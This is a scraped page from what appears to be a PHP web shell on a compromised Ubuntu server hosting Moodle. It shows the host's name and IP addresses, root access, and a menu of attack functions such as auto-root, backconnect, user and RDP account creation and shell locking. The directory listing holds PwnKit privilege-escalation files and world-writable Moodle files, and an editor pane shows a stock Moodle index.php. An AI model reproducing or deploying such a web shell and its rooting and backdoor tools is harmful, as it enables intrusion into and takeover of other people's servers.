Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
lpimportcsv /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
export.php
1.79
KB
-rwxrwxrwx
index.php
3.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
1.53
KB
-rwxrwxrwx
version.php
1.17
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Import a framework. * * @package tool_lpimportcsv * @copyright 2016 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define('NO_OUTPUT_BUFFERING', true); require_once(__DIR__ . '/../../../config.php'); require_once($CFG->libdir.'/adminlib.php'); $pagetitle = get_string('pluginname', 'tool_lpimportcsv'); $context = context_system::instance(); $url = new moodle_url("/admin/tool/lpimportcsv/index.php"); $PAGE->set_context($context); $PAGE->set_url($url); $PAGE->set_title($pagetitle); $PAGE->set_pagelayout('admin'); $PAGE->set_heading($pagetitle); $form = null; echo $OUTPUT->header(); if (optional_param('needsconfirm', 0, PARAM_BOOL)) { $form = new \tool_lpimportcsv\form\import($url->out(false)); } else if (optional_param('confirm', 0, PARAM_BOOL)) { $importer = new \tool_lpimportcsv\framework_importer(); $form = new \tool_lpimportcsv\form\import_confirm(null, $importer); } else { $form = new \tool_lpimportcsv\form\import($url->out(false)); } if ($form->is_cancelled()) { $form = new \tool_lpimportcsv\form\import($url->out(false)); } else if ($data = $form->get_data()) { require_sesskey(); if ($data->confirm) { $importid = $data->importid; $importer = new \tool_lpimportcsv\framework_importer(null, null, null, $importid, $data, true); $error = $importer->get_error(); if ($error) { $form = new \tool_lpimportcsv\form\import($url->out(false)); $form->set_import_error($error); } else { $framework = $importer->import(); $urlparams = ['competencyframeworkid' => $framework->get('id'), 'pagecontextid' => $context->id]; $frameworksurl = new moodle_url('/admin/tool/lp/competencies.php', $urlparams); echo $OUTPUT->notification(get_string('competencyframeworkcreated', 'tool_lp'), 'notifysuccess'); echo $OUTPUT->continue_button($frameworksurl); die(); } } else { $text = $form->get_file_content('importfile'); $encoding = $data->encoding; $delimiter = $data->delimiter_name; $importer = new \tool_lpimportcsv\framework_importer($text, $encoding, $delimiter, 0, null, true); $confirmform = new \tool_lpimportcsv\form\import_confirm(null, $importer); $form = $confirmform; $pagetitle = get_string('confirmcolumnmappings', 'tool_lpimportcsv'); } } echo $OUTPUT->heading($pagetitle); $form->display(); echo $OUTPUT->footer();
Close